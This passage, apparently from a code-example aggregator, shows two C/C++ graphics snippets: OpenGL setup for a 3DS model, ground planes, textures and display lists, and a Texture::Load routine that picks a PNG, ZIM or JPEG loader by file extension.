    for(i = 0; i < num_vertexmodel; i++) {
        vertexmodel[(i << 3) + 0] -= (xmax + xmin) / 2.0;
        vertexmodel[(i << 3) + 1] -= (ymax + ymin) / 2.0;
        vertexmodel[(i << 3) + 2] -= (zmax + zmin) / 2.0;
    }
    
    for(i = 0; i < num_vertexmodel; i++) {
        tmp = sqrt(vertexmodel[(i << 3) + 0] * vertexmodel[(i << 3) + 0] +
                    vertexmodel[(i << 3) + 1] * vertexmodel[(i << 3) + 1] +
                    vertexmodel[(i << 3) + 2] * vertexmodel[(i << 3) + 2]);
        if(tmp > modelsize) modelsize = tmp;
    }
    
    tmp = MODELSIZE / modelsize;
    modelsize = MODELSIZE;
    for(i = 0; i < num_vertexmodel; i++) {
        vertexmodel[(i << 3) + 0] *= tmp;
        vertexmodel[(i << 3) + 1] *= tmp;
        vertexmodel[(i << 3) + 2] *= tmp;
    }
    
    vertexground = Load3DS("data/ground.3ds",&num_vertexground);
    printf("./data/ground.3ds %d face\n",num_vertexground / 3);
    
    planeground = (float*)malloc(sizeof(float) * 4 * num_vertexground / 3);
    for(i = 0, j = 0, k = 0; i < num_vertexground; i += 3, j += 24, k += 4) {
        VectorSub(&vertexground[j + 8],&vertexground[j],a);
        VectorSub(&vertexground[j + 16],&vertexground[j],b);
        VectorCrossProduct(a,b,&planeground[k]);
        VectorNormalize(&planeground[k],&planeground[k]);
        planeground[k + 3] = -VectorDotProduct(&planeground[k],&vertexground[j]);
    }
    
    glGenTextures(1,&textureground);
    glBindTexture(GL_TEXTURE_2D,textureground);
    if((data = LoadJPEG("data/ground.jpg",&width,&height))) {
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR_MIPMAP_LINEAR);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR_MIPMAP_LINEAR);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_REPEAT);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_REPEAT);
        gluBuild2DMipmaps(GL_TEXTURE_2D,4,width,height,GL_RGBA,GL_UNSIGNED_BYTE,data);
        free(data);
    }
    
    glGenTextures(1,&texturemodel);
    glBindTexture(GL_TEXTURE_2D,texturemodel);
    if((data = LoadJPEG("data/model.jpg",&width,&height))) {
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR_MIPMAP_LINEAR);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR_MIPMAP_LINEAR);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_REPEAT);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_REPEAT);
        gluBuild2DMipmaps(GL_TEXTURE_2D,4,width,height,GL_RGBA,GL_UNSIGNED_BYTE,data);
        free(data);
    }
    
    glGenTextures(1,&textureshadow);
    glBindTexture(GL_TEXTURE_2D,textureshadow);
    glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);
    glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);
    glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_CLAMP);
    glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_CLAMP);
    glTexImage2D(GL_TEXTURE_2D,0,4,SHADOWSIZE,SHADOWSIZE,0,GL_RGBA,GL_UNSIGNED_BYTE,NULL);

    glTexGenfv(GL_S,GL_EYE_PLANE,plane_S);
    glTexGenfv(GL_T,GL_EYE_PLANE,plane_T);
    glTexGenfv(GL_R,GL_EYE_PLANE,plane_R);
    glTexGenfv(GL_Q,GL_EYE_PLANE,plane_Q);

    modellist = glGenLists(1);
    glNewList(modellist,GL_COMPILE);
    glPushMatrix();
    glBegin(GL_TRIANGLES);
    for(i = 0; i < num_vertexmodel; i++) {
        glNormal3fv((float*)&vertexmodel[i << 3] + 3);
        glTexCoord2fv((float*)&vertexmodel[i << 3] + 6);
        glVertex3fv((float*)&vertexmodel[i << 3]);
    }
    glEnd();
    glPopMatrix();
    glEndList();
    
    groundlist = glGenLists(1);
    glNewList(groundlist,GL_COMPILE);
    glBegin(GL_TRIANGLES);
    for(i = 0; i < num_vertexground; i++) {
        glNormal3fv((float*)&vertexground[i << 3] + 3);
        glTexCoord2fv((float*)&vertexground[i << 3] + 6);
        glVertex3fv((float*)&vertexground[i << 3]);
    }
    glEnd();
    glEndList();
    
    lightlist = glGenLists(1);
    glNewList(lightlist,GL_COMPILE);
    glutSolidSphere(0.6,16,16);
    glEndList();
}
示例#16
0
bool Texture::Load(const char *filename) {
	// hook for generated textures
	if (!memcmp(filename, "gen:", 4)) {
		int bpp, w, h;
		bool clamp;
		uint8_t *data = generateTexture(filename, bpp, w, h, clamp);
		if (!data)
			return false;
		glGenTextures(1, &id_);
		glBindTexture(GL_TEXTURE_2D, id_);
		if (bpp == 1) {
			if (gl_extensions.IsGLES) {
				glTexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE, w, h, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, data);
			} else {
				glTexImage2D(GL_TEXTURE_2D, 0, 1, w, h, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, data);
			}
		} else {
			FLOG("unsupported");
		}
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, clamp ? GL_CLAMP_TO_EDGE : GL_REPEAT);
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, clamp ? GL_CLAMP_TO_EDGE : GL_REPEAT);
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
		delete [] data;
		return true;
	}

	filename_ = filename;

	// Currently here are a bunch of project-specific workarounds.
	// They shouldn't really hurt anything else very much though.

	size_t len = strlen(filename);
	char fn[1024];
	strncpy(fn, filename, sizeof(fn));
	fn[1023] = 0;
	bool zim = false;
	if (!strcmp("dds", &filename[len-3])) {
		strcpy(&fn[len-3], "zim");
		zim = true;
	}
	if (!strcmp("6TX", &filename[len-3]) || !strcmp("6tx", &filename[len-3])) {
		ILOG("Detected 6TX %s", filename);
		strcpy(&fn[len-3], "zim");
		zim = true;
	}
	for (int i = 0; i < (int)strlen(fn); i++) {
		if (fn[i] == '\\') fn[i] = '/';
	}

	if (fn[0] == 'm') fn[0] = 'M';
	const char *name = fn;
	if (zim && 0==memcmp(name, "Media/textures/", strlen("Media/textures"))) name += strlen("Media/textures/");
	len = strlen(name);
	if (!strcmp("png", &name[len-3]) || !strcmp("PNG", &name[len-3])) {
		if (!LoadPNG(fn)) {
			WLOG("WARNING: Failed to load .png %s, falling back to ugly gray XOR pattern!", fn);
			LoadXOR();
			return false;
		} else {
			return true;
		}
	} else if (!strcmp("zim", &name[len-3])) {
		if (LoadZIM(name)) {
			return true;
		} else {
			WLOG("WARNING: Failed to load .zim texture %s, falling back to ugly gray XOR pattern!", fn);
			LoadXOR();
			return false;
		}
	} else if (!strcmp("jpg", &name[len-3]) || !strcmp("JPG", &name[len-3]) ||
			!strcmp("jpeg", &name[len-4]) || !strcmp("JPEG", &name[len-4])) {
		if (!LoadJPEG(fn)) {
			WLOG("WARNING: Failed to load jpeg %s, falling back to ugly gray XOR pattern!", fn);
			LoadXOR();
			return false;
		} else {
			return true;
		}
	} else if (!name || !strlen(name)) {
		ELOG("Failed to identify image file %s by extension", name);
	} else {
		ELOG("Cannot load a texture with an empty filename");
	}
	LoadXOR();
	return false;
}